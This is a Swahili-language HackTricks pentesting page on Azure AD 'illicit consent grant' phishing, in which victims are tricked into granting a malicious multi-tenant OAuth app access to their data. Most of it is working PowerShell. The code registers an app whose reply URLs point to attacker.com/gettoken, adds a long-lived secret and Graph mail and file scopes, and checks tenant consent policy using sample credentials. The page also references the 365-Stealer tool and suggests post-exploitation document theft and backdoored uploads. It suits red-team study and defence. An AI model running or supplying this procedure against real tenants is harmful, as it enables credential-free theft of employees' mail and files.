Az - Illicit Consent Grant

Support HackTricks

OAuth App Phishing

Azure Applications zinaomba ruhusa za kufikia data za mtumiaji (taarifa za msingi, lakini pia ufikiaji wa nyaraka, kutuma barua pepe...). Ikiwa imekubaliwa, mtumiaji wa kawaida anaweza kutoa idhini tu kwa "ruhusa za Athari za Chini". Katika mambo mengine yote, idhini ya msimamizi inahitajika. GA, ApplicationAdministrator, CloudApplication Administrator na jukumu maalum linalojumuisha ruhusa ya kutoa ruhusa kwa programu linaweza kutoa idhini ya kiwango cha mpangilio.

Ruhusa pekee ambazo hazihitaji idhini ya msimamizi zinakisiwa kama athari za chini. Hizi ni ruhusa zinazohitajika kwa kuingia kwa msingi ni openid, profile, email, User.Read na offline_access. Ikiwa taasisi inaweza kutoa idhini ya mtumiaji kwa programu zote, mfanyakazi anaweza kutoa idhini kwa programu ili kusoma yaliyo hapo juu kutoka kwa wasifu wao.

Hivyo, mshambuliaji anaweza kuandaa Programu mbaya na kwa phishing, kumfanya mtumiaji akubali Programu na kuiba data yake.

  • Isiyo na uthibitisho: Kutoka kwa akaunti ya nje tengeneza programu yenye ruhusa User.Read na User.ReadBasic.All kwa mfano, phish mtumiaji, na utaweza kufikia taarifa za directory.

  • Hii inahitaji mtumiaji aliye phished kuwa na uwezo wa kukubali programu za OAuth kutoka kwa mazingira ya nje!

  • Iliyothibitishwa: Baada ya kuathiri mtu mwenye mamlaka ya kutosha, tengeneza programu ndani ya akaunti na phish mtumiaji mwenye mamlaka ambaye anaweza kukubali ruhusa za OAuth zenye mamlaka.

  • Katika kesi hii tayari unaweza kufikia taarifa za directory, hivyo ruhusa User.ReadBasic.All si ya kuvutia tena.

  • Huenda unavutiwa na ruhusa zinazohitaji msimamizi kuzipatia, kwa sababu mtumiaji wa kawaida hawezi kutoa ruhusa yoyote kwa programu za OAuth, ndio maana unahitaji kuphish tu watumiaji hao (zaidi kuhusu ni ni majukumu/ruhusa zipi zinatoa haki hii baadaye)

Angalia ikiwa watumiaji wamekubali kutoa idhini

Amri ifuatayo ya PowerShell inatumika kuangalia usanidi wa idhini kwa watumiaji katika Azure Active Directory (Azure AD) kuhusu uwezo wao wa kutoa idhini kwa programu:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
  • Zima idhini ya mtumiaji: Mipangilio hii inakataza watumiaji kutoa ruhusa kwa programu. Hakuna idhini ya mtumiaji kwa programu inaruhusiwa.

  • Watumiaji wanaweza kutoa idhini kwa programu kutoka kwa wachapishaji waliothibitishwa au shirika lako, lakini tu kwa ruhusa unazochagua: Mipangilio hii inaruhusu watumiaji wote kutoa idhini tu kwa programu ambazo zimetolewa na mchapaji aliyeidhinishwa na programu zilizosajiliwa katika tenant yako mwenyewe. Inaleta kiwango cha udhibiti kwa kuruhusu idhini tu kwa ruhusa maalum.

  • Watumiaji wanaweza kutoa idhini kwa programu zote: Mipangilio hii ni ya kuruhusu zaidi na inaruhusu watumiaji wote kutoa idhini kwa ruhusa yoyote kwa programu, mradi ruhusa hizo hazihitaji idhini ya kiutawala.

  • Sera ya idhini ya programu maalum: Mipangilio hii inaonyesha kuwa sera maalum ipo, ambayo inaweza kuboreshwa kulingana na mahitaji maalum ya shirika na inaweza kujumuisha mchanganyiko wa vizuizi kulingana na mchapaji wa programu, ruhusa ambazo programu inadai, na mambo mengine.

Kuelewa Shambulio la Idhini Isiyo Halali

Katika shambulio la idhini isiyo halali, washambuliaji wanawadanganya watumiaji wa mwisho kutoa ruhusa kwa programu mbaya iliyosajiliwa na Azure. Hii inafanywa kwa kufanya programu ionekane halali, ikiwafanya wahanga kubofya kitufe cha "Kubali" bila kujua. Matokeo yake, Azure AD inatoa token kwa tovuti ya mshambuliaji, ikiwaruhusu kufikia na kubadilisha data ya mhanga, kama kusoma au kutuma barua pepe na kufikia faili, bila kuhitaji akaunti ya shirika.

Muhtasari wa Mchakato wa Shambulio

Shambulio linajumuisha hatua kadhaa zinazolenga kampuni ya kawaida. Hapa kuna jinsi inaweza kuendelea:

  1. Usajili wa Kikoa na Kuweka Programu: Mshambuliaji anasajili kikoa kinachofanana na tovuti ya kuaminika, kwa mfano, "safedomainlogin.com". Chini ya kikoa hiki, subdomain inaundwa (mfano, "companyname.safedomainlogin.com") ili kuweka programu iliyoundwa kukamata nambari za idhini na kuomba token za ufikiaji.

  2. Usajili wa Programu katika Azure AD: Mshambuliaji kisha anasajili Programu ya Multi-Tenant katika Tenant yake ya Azure AD, akiiita kwa jina la kampuni lengwa ili ionekane halali. Wanatengeneza URL ya Redirect ya programu kuelekea subdomain inayohifadhi programu mbaya.

  3. Kuweka Ruhusa: Mshambuliaji anapanga programu hiyo na ruhusa mbalimbali za API (mfano, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Ruhusa hizi, mara tu zinapopewa na mtumiaji, zinamruhusu mshambuliaji kutoa taarifa nyeti kwa niaba ya mtumiaji.

  4. Kusambaza Viungo Mbaya: Mshambuliaji anaunda kiungo kinachojumuisha kitambulisho cha mteja wa programu mbaya na kukishiriki na watumiaji walengwa, akiwadanganya kutoa idhini.

Kutumia Zana kwa Shambulio

Shambulio linaweza kuwezeshwa kwa kutumia zana kama 365-Stealer.

Maandalizi Kabla ya Shambulio:

Ikiwa mshambuliaji ana kiwango fulani cha ufikiaji kwa mtumiaji katika shirika la mhanga, wanaweza kuangalia ikiwa sera ya shirika inaruhusu mtumiaji kukubali programu:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Kwa kutekeleza shambulio, mshambuliaji atahitaji kuunda App mpya katika Azure Tenant yao (katika Usajili wa App), iliyowekwa na ruhusa:

User.ReadBasic.All iko ndani ya Microsoft Graph katika Ruhusa za Delegated. (Ruhusa za Programu daima zitahitaji idhini ya ziada).

  • User.ReadBasic.All ni ruhusa ambayo itakuruhusu kusoma taarifa za watumiaji wote katika shirika ikiwa itatolewa.

  • Kumbuka kwamba ni GA, ApplicationAdministrator, CloudApplication Administrator na jukumu maalum linalojumuisha ruhusa ya kutoa ruhusa kwa programu pekee ndizo zinaweza kutoa idhini ya kiwango cha tenant. Hivyo, unapaswa kufanya uvuvi kwa mtumiaji mwenye mojawapo ya majukumu hayo ikiwa unataka amthibitishie App inayohitaji idhini ya msimamizi.

Unaweza pia kuunda App kupitia cli kwa:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Check https://www.alteredsecurity.com/post/introduction-to-365-stealer kujifunza jinsi ya kuisakinisha.

Kumbuka kwamba token ya ufikiaji iliyopatikana itakuwa kwa graph endpoint yenye mipaka: User.Read na User.ReadBasic.All (idhini zilizotolewa). Hutaweza kufanya vitendo vingine (lakini hivyo vinatosha kupakua taarifa kuhusu watumiaji wote katika shirika).

Unaweza pia kutumia chombo hiki kufanya shambulio hili.

Post-Exploitation

Mara tu unapopata ufikiaji wa mtumiaji unaweza kufanya mambo kama kuiba nyaraka nyeti na hata kupakia tena faili za nyaraka zenye backdoor.

References

Support HackTricks

Last updated